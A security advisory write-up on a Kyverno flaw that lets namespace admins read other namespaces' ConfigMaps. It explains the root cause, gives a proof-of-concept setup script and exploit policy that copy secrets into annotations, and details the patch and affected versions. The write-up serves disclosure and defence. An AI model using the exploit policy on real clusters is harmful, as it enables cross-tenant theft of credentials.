Introduction
An incomplete security fix in Kyverno left multi-tenant Kubernetes clusters open to cross-namespace data exfiltration. Any namespace admin could read ConfigMaps from arbitrary namespaces by abusing Kyverno's own privileged service account. The earlier CVE-2026-22039 patched this class of RBAC bypass for the apiCall context, but the identical flaw in the ConfigMap context loader was missed, and a public proof of concept makes exploitation trivial.
Kyverno is a Cloud Native Computing Foundation incubating project and one of the most widely adopted policy engines for Kubernetes, with over 3 billion downloads. It lets platform engineering teams define admission control, mutation, validation, and resource generation policies as native Kubernetes resources. Because it sits deep in the Kubernetes admission pipeline, a flaw in Kyverno's privilege model can undermine the RBAC isolation that multi-tenant clusters depend on.
Technical Information
Root Cause
The vulnerability is classified under CWE-863 (Incorrect Authorization) and carries a CVSS 3.1 base score of 7.7 High, with the vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
The root cause is in pkg/engine/context/loaders/configmap.go. The NewConfigMapLoader function accepts a configMap.namespace field after variable substitution and passes it straight to the resolver.Get() call, with no validation against the policy's own namespace. In a properly isolated multi-tenant cluster, a namespace-scoped Kyverno Policy should only reference resources within its own namespace. But because the ConfigMap loader never enforced that constraint, any resolved namespace was accepted.
This is dangerous because Kyverno's admission controller service account holds a cluster-wide view role. When a namespaced policy references a ConfigMap in a foreign namespace, Kyverno fetches it using its own elevated privileges, acting as a proxy for the attacker.
The earlier CVE-2026-22039 fixed this exact pattern for the apiCall.URLPath field by adding namespace validation to the API call context loader. The ConfigMap context loader was not included in that fix.
Attack Flow
The exploitation path is short and requires only standard namespace admin privileges:
-
Attacker has namespace admin access in their own namespace (e.g.,
attacker-ns) within a multi-tenant Kubernetes cluster running a vulnerable version of Kyverno. -
Attacker creates a Kyverno
Policyinattacker-nswith acontextentry referencing a ConfigMap in a victim namespace (e.g.,victim-ns). TheconfigMap.namespacefield is set to the target namespace. -
Attacker triggers the policy by creating a resource that matches the policy's
matchcriteria (e.g., a ConfigMap namedtrigger-cminattacker-ns). -
Kyverno's admission controller processes the admission request, evaluates the policy, and fetches the cross-namespace ConfigMap using its own cluster-wide service account.
-
The policy mutates the trigger resource to exfiltrate the stolen data. For example, the policy can write the victim ConfigMap's values into annotations on the trigger ConfigMap, where the attacker can read them.
The attacker never directly accesses the victim namespace. Kubernetes RBAC correctly denies direct access. The bypass happens because Kyverno acts as an intermediary with elevated privileges and no namespace boundary enforcement on the ConfigMap loader.
Proof of Concept
A fully working proof of concept is publicly disclosed in the GitHub Security Advisory GHSA-cvq5-hhx3-f99p. The attack reproduces in about 5 minutes on a local kind cluster.
Step 1: Environment Setup
#!/bin/bash # Setup: kind cluster + Kyverno v1.17.0 kind create cluster --name kyverno-poc --wait 60s helm repo add kyverno https://kyverno.github.io/kyverno/ helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait # Create attacker and victim namespaces kubectl create namespace attacker-ns kubectl create namespace victim-ns # Plant sensitive data in victim namespace kubectl create configmap sensitive-config -n victim-ns \ --from-literal=db-password="s3cr3t-p4ssw0rd" \ --from-literal=api-key="AKIAIOSFODNN7EXAMPLE" # Create namespace admin RBAC (standard multi-tenant setup) kubectl create serviceaccount ns-admin -n attacker-ns kubectl create rolebinding ns-admin-binding --clusterrole=admin \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns kubectl create role kyverno-policy-creator --verb=create,get,list \ --resource=policies.kyverno.io --namespace=attacker-ns kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns # Verify namespace admin CANNOT directly access victim-ns kubectl get configmap sensitive-config -n victim-ns \ --as=system:serviceaccount:attacker-ns:ns-admin # Error: Forbidden (expected)
Step 2: Exploit Policy
The core of the exploit is a Kyverno Policy resource that references a ConfigMap in a different namespace through the unvalidated configMap.namespace field:
apiVersion: kyverno.io/v1 kind: Policy metadata: name: configmap-crossns-read namespace: attacker-ns spec: rules: - name: steal-configmap match: any: - resources: kinds: [ConfigMap] names: ["trigger-cm"] context: - name: stolendata configMap: name: "sensitive-config" namespace: "victim-ns" # <-- NO VALIDATION mutate: patchStrategicMerge: metadata: annotations: exfil-db-password: "{{ stolendata.data.\"db-password\" }}" exfil-api-key: "{{ stolendata.data.\"api-key\" }}"
Step 3: Trigger and Exfiltrate
Creating a ConfigMap named trigger-cm in attacker-ns activates the policy. The mutated annotations on the resulting object contain the victim namespace's ConfigMap data: the db-password and api-key values.
The vulnerable code path is in NewConfigMapLoader() within pkg/engine/context/loaders/configmap.go, which accepts the namespace field after variable substitution and passes it straight to resolver.Get() with no validation against the policy's own namespace.
Patch Information
The fix was introduced in commit bbf3e5c (PR #15850), authored by Jim Bugwadia on April 15, 2026, and released in Kyverno v1.17.2.
The patch touches three files.
1. pkg/engine/context/loaders/configmap.go (38 additions, 16 deletions)
A new policyNamespace field was added to the configMapLoader struct:
type configMapLoader struct { // ... existing fields ... policyNamespace string // NEW: tracks the namespace of the owning policy }
Inside the fetchConfigMap() method, two layers of validation were added after variable substitution.
Type assertion safety to prevent panics from non-string substitution results:
namespaceStr, ok := namespace.(string) if !ok { return nil, fmt.Errorf("...expected string, got %T", namespace) }
Cross-namespace access guard, the critical security check:
// For namespaced policies, default to the policy's own namespace. if namespaceStr == "" { if cml.policyNamespace != "" { namespaceStr = cml.policyNamespace } else { namespaceStr = "default" } } // For namespaced policies, reject cross-namespace ConfigMap access. if cml.policyNamespace != "" && namespaceStr != cml.policyNamespace { return nil, fmt.Errorf( "context entry %s: configMap namespace %q is different from policy namespace %q", entryName, namespaceStr, cml.policyNamespace, ) }
The logic has two parts. First, if no namespace was specified, the default is now context-aware, so namespaced policies default to their own namespace instead of always falling back to "default". Second, an explicit comparison blocks any resolved namespace that does not match the policy namespace. ClusterPolicies, where policyNamespace is empty, stay unrestricted, since they have cluster-wide scope by design.
2. pkg/engine/factories/contextloaderfactory.go (1 line change)
The call site that instantiates NewConfigMapLoader was updated to pass the already available l.policyNamespace:
// Before: ldr := loaders.NewConfigMapLoader(ctx, l.logger, entry, l.cmResolver, jsonContext) // After: ldr := loaders.NewConfigMapLoader(ctx, l.logger, entry, l.cmResolver, jsonContext, l.policyNamespace)
The context loader factory already held this policyNamespace value, passing it to the apiCall loader as part of the CVE-2026-22039 fix. It just was not threaded through to the ConfigMap loader.
3. pkg/engine/context/loaders/configmap_test.go (143 lines, new file)
Seven focused unit tests were added:
Test_CrossNamespaceConfigMapAccessconfirms a namespaced policy inattacker-nsis blocked from reading ConfigMaps invictim-ns, and verifies the mock resolver is never even called, so the check fails before any network request.Test_SameNamespaceConfigMapAccessensures same-namespace access still works.Test_CrossNamespaceConfigMapAccess_EmptyNamespaceDefaultsToPolicyNSvalidates that omitting the namespace on a namespaced policy defaults to the policy's own namespace.Test_CrossNamespaceConfigMapAccess_ClusterPolicyUnrestrictedconfirms ClusterPolicies can still access ConfigMaps in any namespace.Test_CrossNamespaceConfigMapAccess_WithVariableSubstitutionverifies that even when the attacker uses Kyverno variable substitution (e.g.,{{ targetNs }}) to inject a victim namespace dynamically, the validation still catches it after substitution.- Two more tests cover non-string substitution edge cases that would otherwise panic.
Affected Systems and Versions
| Version | Status | Details |
|---|---|---|
| 1.17.0 and earlier | Vulnerable | Confirmed affected per GHSA-cvq5-hhx3-f99p |
| 1.17.1 | Vulnerable | Listed as affected in the GitHub Advisory Database |
| 1.17.2 | Patched | Contains the namespace validation fix |
Treat all versions up to and including 1.17.1 as vulnerable. The fix requires Kyverno 1.17.2.
Kyverno 1.17.x requires Kubernetes 1.32 through 1.35. Verify your cluster version before upgrading. For reference, Kyverno follows an N-2 support policy:
| Kyverno Version | Kubernetes Minimum | Kubernetes Maximum |
|---|---|---|
| 1.15.x | 1.30 | 1.33 |
| 1.16.x | 1.31 | 1.34 |
| 1.17.x | 1.32 | 1.35 |
The security advisory also recommends auditing the other context loaders (globalReference, imageRegistry, variable) for the same missing validation.
Vendor Security History
CVE-2026-41068 is explicitly an incomplete fix for the earlier CVE-2026-22039, which addressed the same class of cross-namespace privilege escalation in Kyverno's apiCall context. The apiCall.URLPath field was patched to validate the resolved namespace against the policy namespace, but the ConfigMap context loader was missed in that remediation. The same vulnerability pattern turning up in a parallel code path shows how hard it is to cover every subsystem when fixing a class of bug. The Kyverno maintainers responded with a targeted fix and thorough test coverage, and the advisory calls out the other context loaders that should be audited for the same issue.



